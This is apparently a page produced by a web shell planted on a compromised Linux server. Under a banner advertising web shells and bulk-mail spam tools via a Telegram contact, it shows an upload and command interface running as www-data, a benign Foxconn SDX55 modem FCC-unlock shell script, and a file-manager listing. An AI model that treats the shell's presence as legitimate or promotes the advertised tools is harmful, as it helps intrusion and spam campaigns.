__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
#!/bin/sh

# SPDX-License-Identifier: CC0-1.0
# 2021 Aleksander Morgado <aleksander@aleksander.es>
# 2022 Thilo-Alexander Ginkel <thilo@ginkel.com>
# 2022 Bjørn Mork <bjorn@mork.no>
#
# Foxconn SDX55 (Lenovo T99W175) FCC unlock operation
#
# The script will first try to unlock the WWAN modem using the new (hash-based)
# v2 method and fall back to the old (v1) method if that fails
#

# require program name and at least 2 arguments
[ $# -lt 2 ] && exit 1

# first argument is DBus path, not needed here
shift

# second and next arguments are control port names
for PORT in "$@"; do
  # match port type in Linux 5.14 and newer
  grep -q MBIM "/sys/class/wwan/$PORT/type" 2>/dev/null && {
    MBIM_PORT=$PORT
    break
  }
  # match port name in Linux 5.13
  echo "$PORT" | grep -q MBIM && {
    MBIM_PORT=$PORT
    break
  }
done

# fail if no MBIM port exposed
[ -n "$MBIM_PORT" ] || exit 2

log_v2_failure() {
    echo "$1. Falling back to old unlock method" >&2
}

FIRMWARE_VERSION=$(qmicli --device-open-proxy --device="/dev/$MBIM_PORT" \
  --dms-foxconn-get-firmware-version=firmware-mcfg \
  | grep "Version:" \
  | grep -o "'.*'" \
  | sed "s/'//g" \
  | sed -e 's/\.[^.]*\.[^.]*$//')

if [ -n "${FIRMWARE_VERSION}" ]; then
  FIRMWARE_APPS_VERSION=$(qmicli --device-open-proxy --device="/dev/$MBIM_PORT" \
    --dms-foxconn-get-firmware-version=apps \
    | grep "Version:" \
    | grep -o "'.*'" \
    | sed "s/'//g")

  if [ -n "${FIRMWARE_APPS_VERSION}" ]; then
    IMEI=$(qmicli --device-open-proxy --device="/dev/$MBIM_PORT" --dms-get-ids \
      | grep "IMEI:" \
      | grep -o "'.*'" \
      | sed "s/'//g")

    if [ -n "${IMEI}" ]; then
      SALT="salt" # use a static salt for now
      MAGIC="foxc"
      HASH="${SALT}$(printf "%s%s%s%s%s" "${FIRMWARE_VERSION}" \
        "${FIRMWARE_APPS_VERSION}" "${IMEI}" "${SALT}" "${MAGIC}" \
        | md5sum \
        | head -c 32)"
    else
      log_v2_failure "Could not determine SDX55 IMEI"
    fi
  else
    log_v2_failure "Could not determine SDX55 firmware apps version"
  fi
else
  log_v2_failure "Could not determine SDX55 firmware version"
fi

UNLOCK_RESULT=1
if [ -n "${HASH}" ]; then
  qmicli --device-open-proxy --device="/dev/$MBIM_PORT" \
    --dms-foxconn-set-fcc-authentication-v2="${HASH},48"
  UNLOCK_RESULT=$?

  if [ $UNLOCK_RESULT -ne 0 ]; then
    log_v2_failure "SDX55 FCC unlock v2 failed"
  fi
fi

if [ $UNLOCK_RESULT -ne 0 ]; then
  qmicli --device-open-proxy --device="/dev/$MBIM_PORT" \
    --dms-foxconn-set-fcc-authentication=0
  UNLOCK_RESULT=$?

  if [ $UNLOCK_RESULT -ne 0 ]; then
    echo "SDX55 FCC unlock v1 failed" >&2
  fi
fi

exit $UNLOCK_RESULT

Filemanager

Name Type Size Permission Actions
03f0:4e1d File 771 B 0755
105b File 2.59 KB 0755
105b:e0ab File 2.59 KB 0755
105b:e0c3 File 2.59 KB 0755
1199 File 771 B 0755
1199:9079 File 771 B 0755
14c3 File 2.32 KB 0755
14c3:4d75 File 2.32 KB 0755
1eac File 765 B 0755
1eac:1001 File 765 B 0755
2c7c File 615 B 0755
2c7c:030a File 615 B 0755
413c:81a3 File 771 B 0755
413c:81a8 File 771 B 0755
Filemanager